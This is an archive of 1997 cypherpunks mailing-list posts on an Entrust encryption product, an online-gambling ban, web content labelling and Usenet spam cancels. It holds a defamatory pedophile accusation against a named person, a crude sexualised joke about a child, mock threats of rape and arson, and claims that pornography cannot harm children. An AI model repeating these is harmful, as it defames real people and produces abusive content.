To: cypherpunks@cyberpass.net
Subject: Entrust Technologies's Solo - free download
Message-ID: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



Entrust Technologies (www.entrust.com) has made Solo available for
download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
A mere $49 Cdn (~35 US) for commerical usage...

For e-mail / file encryption, digital signature

Solo uses 128-bit encryption, which is CAST-128, the royality-free
algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
cryptography and has DES, Triple DES available. 

Also follows FIPS 140-1 validated security kernel. It is compatible with
other Solo clients (of course), Entrust/Lite and Entrust. 

It looks like PGP Inc might have some decent competition. I assume that
it won't have the market pentration of PGP, but at least it will make a
dent and might force PGP Inc. to make their product robust and flexiable.

"Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
Korea"

I do not have any affiliation with Entrust or NorTel other than both being
in Canada. I don't even have a copy of Entrust/Lite.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
"Not speaking on Mt Allison University's behalf"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 15:39:22 +0800
To: cypherpunks@toad.com
Subject: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707300716.JAA04996@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Apache wrote:
> 
> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just
> ban it because it represents a perceived threat to our own rigged and
> heavily taxed government sponsored tax collection casino cells.

  Youngsters on the list might not remember how private individuals
involved in gambling used to be denigrated by the government as "the
scum of the earth"--as "criminals" and "mobsters" and "evil."
  Now that the government has hijacked the gambling industry, only
those not paying the government their share of the "vigorish" are
scum-sucking criminals.

  I checked out the Men/Boy Love sites from one of the list threads
and realized that what these "filthy, scum-sucking perverts" need in
order to become acceptable members of society is to find a way to
let the government in on the potential revenue of child pornography.
  Then we will be faced with legislation promoted by these same
politicians which is aimed at making certain that Joe Public is
not ripped off by private individuals who are selling pictures of
"clothed" children. The government will pass regulations ensuring
that child-porn sites have government approved "voluntary (at
gunpoint)" ratings which ensure that Joe Public can count the hairs
on little Johnny's pre-pubescent balls when he downloads the graphics
files that have off(ici)al government approval.

  If we let the Mob run the country, they could probably balance the
national budget with the money saved from no longer needing elections
in order to keep up the pretext of democracy.

> The article quoted starts off with how concerned the gubmint is about the
> possibility of consumer fraud wrt on-line casinos and shows how they
> propose to protect the consumer: 12 months in prison AND a $5000 fine.
> Consumer fraudsters should take note, they have a competitor in the ring!

  This is outrageous!
  If the government was _really_ concerned with protecting us, then they
would put us in jail for life! Or give us the death penalty!
  12 months in prison AND a $5000 fine?
  Sounds to me like these fuckers are "soft on crime." Write your 
legislative representatives and complain. Demand that they institute
the death penalty for all crimes, including jaywalking, tearing the
tags off of mattresses, and "thinking about possibly contemplating
an action which may constitute a crime at some point in the future."

 Truth C. Monger  {Tim C. May's evil-Congressional-twin}
-------x-------x-------x-------x-------x-------x-------x
"There's something wrong when citizens don't receive the
   death penalty under an increasing number of laws."
-------x-------x-------x-------x-------x-------x-------x





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 22:00:45 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
Message-ID: <TNPNae12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 30 Jul 1997 23:19:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300610.QAA06254@bear.apana.org.au>
Message-ID: <Chameleon.870271542.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Personally, I found the article about web gaming to be rather funny.

I wonder about the quality of the 'prng' used by these casinos.

There are, indeed, suckers born every minute.

> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just 
> ban it because it represents a perceived threat to our own rigged and 
> heavily taxed government sponsored tax collection casino cells.
> 
> >    Kyl's bill, backed by the National Association of Attorneys General,
> >    would punish those who set up Internet gaming Web sites with a fine of
> >    up to $10,000, two years in prison or both. Those who made an online
> >    wager would face one year in prison and a $5,000 fine.
> 
> Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
> what is.
> 
> The article quoted starts off with how concerned the gubmint is about the 
> possibility of consumer fraud wrt on-line casinos and shows how they 
> propose to protect the consumer: 12 months in prison AND a $5000 fine. 
> Consumer fraudsters should take note, they have a competitor in the ring!
> 


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/30/97
Time: 10:03:18
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 22:48:46 +0800
To: cypherpunks@toad.com
Subject: Re: This is an E-Mail address grabbing techninque!!!!!!!!!!!!!!!!!!!
In-Reply-To: <19970729.191146.3374.0.ahoier@juno.com>
Message-ID: <Pine.SUN.3.96.970730103856.988C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, a spamming weasel shit named A Hoier spammed us with:

> I'm passing around this letter so write a comment on it then forward it
> to  some friends wonce you see 100 names on it E-MAIL it to
> ahoier@juno.com.......K
> --------------------------------------------------------------------------------------------------------------------
> Write 1st comment here then pass on to friend...K

For the stupid, this is an email address grabbing technique.  If you reply
to this, or do as is said, this weasel will have many many email addresses
to send spam to.  IMHO this is a rather stupid weasel as there are easier
ways to do this, but a weasel none the less.

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hiding. |/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 18:17:30 +0800
To: cypherpunks@toad.com
Subject: Re: Government takeover of the gambling industry / Am I Psychic, or what...?
Message-ID: <199707301004.MAA20298@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> It's the way of all governments. First denounce something, then co-opt it,
> then get rid of the competition.
> 
> But imagine how this might rebound to our favor: suppose NSA
> Microelectronics, Inc. finds itself limited in its sales prospects by the
> NSA policies limiting electronics companies...maybe NSA Microelectronics
> will point out to the DIRNSA that the nice flow of kickbacks to all senior
> NSA managers will come to a halt if NSA Microelectronics is not able to
> sell its crypto products domestically.

  I used to think I was psychic, since I predicted the fall of communism
in the Soviet Union (almost to the day). Later, after reading Tim's
tirade
against "magical thinking," I realized that I was just using common
sense.
  I realized that once "Pepsi" and "Burger King" had a vested interest
in
the "Red Menace" operating in the "Black," any fool who had the ability
to make 'i' increase in increments of 'two' could accurately predict how
long it would take for the Rockerfellers to notify the leaders of the
secret Zionist conspiracy that it was time to make a few changes.

  NSA Microelectronics will no doubt realize the value of using convict
labor to maximize the government's profits in their foray into the 
wonderful world of government usurpment of the free enterprise system.
  Since the government has always been less efficient than the forces
of free enterprise, we can expect that, "in the interests of national
security profits," more citizen-units will be required to become felons
"under an increasing number of laws."
  Not being a lawyer (although I played one at Jim Bell's trial), I 
cannot say for certain whether "suspicion of being Tim C. May" will be
a state crime or a federal crime. Nonetheless, I feel certain that 
Mr. May's experience and expertise will enhance the efficiency of our
convict-labor system to a level that will help move us toward a 
balanced budget (if we can take him alive).

  Although my tendencies toward "magical thinking" and observing life
through "Scotch-colored glasses" leads to my posts being somewhat 
rambling and incoherent, I can always count on the Philosopher Kings
(such as T.C.M.) on the CypherPunks list to remind me when it is time
to take my medication.
  I believe in reincarnation. I believe that if you live a corrupt,
sinful life, doing all manner of evil to your fellow men and women,
that you are reborn as either Jimmy Hoffa or Dr. Vulis.
  {There are those who believe that the above will result in your
being reborn as myself, but I cannot believe that any entity who
claims to be the Supreme Being could be that cruel.}

  In closing, I would like to remind the members of the CypherPunks
list that, "If God is Love, and Love is Blind, and Justice is Blind,
then Jim Bell's attorney is fucking Ray Charles."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 19:01:17 +0800
To: cypherpunks@toad.com
Subject: Re: Sorry about accidental spamming
Message-ID: <199707301050.MAA24926@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Helenius wrote:
> Dear Security Professional,
> We apologize for the annoyance and confusion we might have caused to you
> due to human error in our email addressing. As a result some of our
> internal emails about the newly announced F-Secure VPN v1.1 software were
> erroneously emailed to your attention.
> It is definitively not our company policy to contribute to spamming on the
> Internet, and we do hope that you'll still want to receive the otherwise
> unbiased information sent to the members of our press list.

Tom,
  Bullshit!
  We on the CypherPunks list are wise to all the "Oops!" scams that
spammers use to pretend that they aren't inundating us with their
UCE/Spam crapola.
  "In Reply To Your Request"
  "The Information You Requested"
  "Sorry! I Accidentally Sent My Post To 10,000,000 Email Addresses."

  To tell the truth, your post was not off-topic on this list, since
the list was formed to discuss privacy and security issues.
  However, your follow-up post makes it clear that you spammed a whole
shitload of InterNet users with your commercial message, and that the
fact that it was on-topic for our list was a mere matter of random
chance.
  Accordingly, we _will_ have to burn down your house, rape your wife,
kill your dog, and sell your children into slavery. The "upside" is
that some of us will probably purchase your F-Secure VPN v1.1 software,
as it seems to be a pretty decent product.

  Do you take Visa?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 30 Jul 1997 14:22:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707292306.TAA24682@yakko.cs.wmich.edu>
Message-ID: <199707300610.QAA06254@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain




>    "Bringing gaming directly into people's homes, as we are beginning to
>    see through the Internet, is so full of potential problems and so far
>    beyond the ability of any state to regulate that despite whatever
>    business potential it may have it needs to be prohibited on a national
>    level," Bryan said.

Translation: We can't figure out how to tax these pricks so we'll just 
ban it because it represents a perceived threat to our own rigged and 
heavily taxed government sponsored tax collection casino cells.

>    Kyl's bill, backed by the National Association of Attorneys General,
>    would punish those who set up Internet gaming Web sites with a fine of
>    up to $10,000, two years in prison or both. Those who made an online
>    wager would face one year in prison and a $5,000 fine.

Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
what is.

The article quoted starts off with how concerned the gubmint is about the 
possibility of consumer fraud wrt on-line casinos and shows how they 
propose to protect the consumer: 12 months in prison AND a $5000 fine. 
Consumer fraudsters should take note, they have a competitor in the ring!

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 03:09:35 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K) 
> 
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!! 
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
> 
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)


We can clearly come to no agreement here as I cannot see any material 
listed above which would be harmful in any way to a viewer, child or not. 

>     I don't think I need much justification to suggest that "the
> ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action" is unsuitable for viewing by "a certain class of
> people," --- namely children.  Do you seriously dispute this?  If so,
> there isn't much point in debating this.  

Yes I do seriously dispute this. Can you tell me what in this material is 
damaging in any way, can you cite examples, can you give causal evidence 
of damage?

> That's what is going on now.  Why one would want to encourage this is
> beyond me.  Maybe fighting for the right to show  the "ultimate in anal,
> double anal, double penetration" to children has redeeming value that I
> don't appreciate.  

Then you fail to see the simple point of the redeeming value of true free 
speech, there are no grey areas, you either believe it or you don`t.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 02:09:16 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <Pine.LNX.3.91.970728210826.884B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>    What is your strategy to avoid RSACi type systems?  To persuade
> parents that there is no need to censor kids from graphic images of
> sexual acts?  Good luck.  

Persuation is not the point, it is not necessary to persuade people that 
censorship is morally wrong in order for it to be so.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 31 Jul 1997 02:01:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970728211016.884C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   e.g. - If only 56-bit encryption becomes legal, is there a method
> of *chaining* several passes of 48-bit encryption which would make it
> just as hard to break as 96/192/384-bit (etc.) encryption?

This is a similar idea to implementing, say DES, with independent 
subkeys. Layering encryption in this manner makes the plaintext more 
difficult to determine providing that:

a. The involved cryptosystem is not a group, or does not posess strong 
group like properties (eg. There are no large subgroups).

b. Independent keys are used for each encryption

For a good example of a particular case of your idea see 3DES

>   If this is indeed impossible, then perhaps the government might pass
> a law that makes it illegal to encrypt an encrypted file, but experience
> seems to suggest that any law passed always leaves a loophole or back
> door for inventive people to circumvent it.

This law would be difficult to pass, because it is essentially saying 
some sets of data may be encrypted and some not, and there are lots of 
ways out to give plausible deniability "It isn`t an encrypted file 
officer, it`s random bits being encrypted as cover traffic", if the 
cryptosystem is strong the cyphertext shouldn`t be distinguishable from 
random values.

As for circumventing it, any law such as this should just be ignored.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 01:14:00 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <3.0.2.32.19970730064653.00948280@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:55 AM 7/30/97 -0400, Sandy Harris wrote:
> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
>>> Entrust Technologies (www.entrust.com) has made Solo available 
>>> for download, free . . .
>
>> I ask everyone on these two forums to inform
>> Northern Telecom Forgers / Bell North Forgery Research/
>> Entrust that we will boycott their "security" products
>> as long they continue to employ the child-molesting
>> pedophile Chris R. Lewis - the biggest forger on Usenet.
>
> [...]
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense. . . .
>  -  Sandy Harris

Forgery is a crime and such acts are not justified.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 31 Jul 1997 00:31:47 +0800
To: "Peter D. Junger" <cypherpunks@Algebra.COM
Subject: Re: Programlike Texts
Message-ID: <3.0.32.19970730090408.006cbaf8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Also coming to mind is the well-known notation for dancers ... 
I believe it's called Laban notation.

At 09:46 AM 7/29/97 -0400, you wrote:
>
>One argument that is made by the government when trying to defend its
>export restrictions---which are really publishing restrictions---on
>cryptographic software is that they are not trying to regulate the
>communication of information but rather the functionality of the
>software.
>
>Now this has never made any sense to me, but that does not mean that
>the argument can just be ignored.
>
>So I have been looking for examples of texts that are analogous to computer
>programs but that are executed by something other than a computer.
>
>So far the best example that I can think of, and I doubt that one can
>find a better one, is the instructions given to a drill team.  
>
>I have looked at the drill manual for the U.S. Naval Academy that is 
>located at <http://www.nadn.navy.mil/MISLO/DRILL/drillman.html> and
>it sounds exactly like a manual for some rather specialized computer
>language dealing with mathematical objects that can be subjected to
>various rotations and other transformations.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 03:54:29 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730093753.007a0ba0@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:09 PM 7/30/97 -0700, Paul Pomes wrote:
> At 6:46 -1000 on Wednesday, July 30, 1997, 
>
> Dr. Jai Maharaj wrote:
>> Forgery is a crime and such acts are not justified.
>
> "Crime"? . . .

Yes, the removal of data from computer networks
through forgery is a crime. People who do so are criminals.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 04:37:30 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <3.0.2.32.19970730102014.00907ec0@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 1:05 PM 7/30/97 -0700, Paul Pomes wrote:
> At 11:42 PDT on Wednesday, July 30, 1997, Dave Hayes wrote:
>>> Dimitri, the "forgeries" are going to continue until 
>>> someone comes up with a better way of dealing with spam. 
>>>  -  Paul Pomes
>>
>> There -is- a better way. It's called the delete key. Few 
>> seem to want to use it, which fits with humanity's general 
>> lack of personal responsibility. -  Dave Hayes
>
> Au contraire, cancels are the better way.  It spares me 
> from having to hit the delete key so many times.  It also 
> serves as a negative incentive and slows the growth of spam. 
> -  Paul Pomes

It is not a good idea to impose censorship on others by
supporting the laziness of Paul Pomes.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 31 Jul 1997 02:58:51 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707301842.LAA16904@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Sandy Harris writes:
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

Yes, we are.

> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

According to RFC 1036 forging cancels for articles that do not
originate from your news site is not allowed. He is clearly in
violation of the RFCs. Spam jihads are not sufficient reason
to ignore internet protocols.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. 

There -is- a better way. It's called the delete key. Few seem to
want to use it, which fits with humanity's general lack of personal
responsibility. 

> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".

You have a better way to demonstrate free speech? 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

If trees could scream, would we be so cavalier about cutting them
down? We might, if they screamed all the time, for no good reason.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Thu, 31 Jul 1997 00:09:49 +0800
To: cypherpunks@toad.com
Subject: Re: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
In-Reply-To: <199707300846.CAA14357@wombat.sk.sympatico.ca>
Message-ID: <199707301550.LAA25398@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 30 Jul 97 at 2:49, Pretty Lousy Remailer wrote:

> FrissellMonger

Ah!  More truth-straightening comments by objectivity 
heroes like you would be needed to straighten the world's wrong.  
Keep up the good work!

jfa

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sandy Harris" <sandy@storm.ca>
Date: Thu, 31 Jul 1997 00:24:03 +0800
To: <cypherpunks@toad.com>
Subject: Re: Entrust Technologies's Solo - free download
Message-ID: <199707301555.LAA00073@mail.storm.ca>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:



>> Entrust Technologies (www.entrust.com) has made Solo available for
>> download, free . . .

>I ask everyone on these two forums

Cypherpunks & Freedom Knights. Both should be very happy to
see strong encryption becoming more widely available.

>to inform Northern Telecom Forgers / Bell North Forgery Research
>/ Entrust that we will boycott their "security" products

Snarky quotes not required. This isn't snake oil. There is plenty of
solid analysis behind these products. Check references on Entrust
web site.

>as long they continue to employ the child-molesting
>pedophile Chris R. Lewis - the biggest forger on Usenet.

What this scum is actually upset about is Chris Lewis cancelling
spam. He calls that "forgery" because the spammer's name goes
in the sender field of the cancel message. Nonsense.

Dimitri, the "forgeries" are going to continue until someone comes
up with a better way of dealing with spam. If you have suggestions,
post them to some of the news,admin.net-abuse.* groups or to
the Freedom Knights list.

The crap about pedophilia is also, of course, nonsense. It seems
to be a favorite slur lately with several grossly misguided people
who think calling people they dislike pedophiles is a way to
"defend freedom of speech".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 03:31:14 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.GSO.3.95.970730115813.3330F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Jamie,

It generally is not morally wrong to take steps to prevent children from
having access to pornography, provided they're your children or you have a
custodial relationship. 

But, as you say, that generality does not excuse all actions done in the
name of protecting children. For instance, murdering the pornographers to
protect children is not morally justified. 

In other words, don't infringe on the rights of someone else.

As for your point about it being immoral not to protect children, your
statement is so vague as to be meaningless. Of COURSE we want to protect
children. But how? Protecting them from racism by banning Tom Sawyer or
prevening them from reading Huck Finn? Protecting them from "porn" by not
letting them look at nude sculpture?

This is a core "family values" issue. Let each parent protect their
children the best way they can. No government intervention is generally
needed.

-Declan



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.
> 
>                 Jamie
> 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love@cptech.org
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 31 Jul 1997 03:29:05 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.LNX.3.95.970730115207.32596A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

This makes an assumption that sexual material harms children.  Do you have
any data or studies that actually shows that to be true?

Curiosity about sex and sexuality is a normal part of growing up.
Protecting them from any sort of information on sex or sexuality does not
provide them any sort of service, and may in fact, cause them harm.

Pornography is a nice buzz word, but it hides the real issue.  Pictures
and words intended to describe sexual behaviour.  How this became such a
touchy issue is not due to any factual findings, but more due to moral and
emotional responses to the material by adults.  It is because of the
sheltering attitudes by the adults claiming the moral high ground that we
have so many people with confused attitudes about sex and sexuallity.
This is where the real harm comes in.  Ignorance helps no one.  (Except
the moralists pointing fingers and screaming "I told you so!".

The idea that children are somehow scarred and harmed by sexually explicit
material is without any foundation or evidence.  (Assuming they are able
to get real unfiltered information to make a correct descision and are not
getting guilt tripped for wanting that information.)

Note, I am not talking about sexual contact or any of the other boogie
men that the moralists and control freaks try to bring up.  Adolecence is
supposed to be a time to prepare for adulthood.  They are going to form
some sort of opinion one way or another.  If they get no information or
support before they are 18/21, they are going to wind up pretty screwed
up.


alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 31 Jul 1997 03:50:49 +0800
To: James Love <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
Message-ID: <v03102804b005483ff78b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM -0700 7/30/97, James Love wrote:
>Paul Bradley wrote:
>> > Pissing, Fisting and beastiality! We go to great lengths to bring you
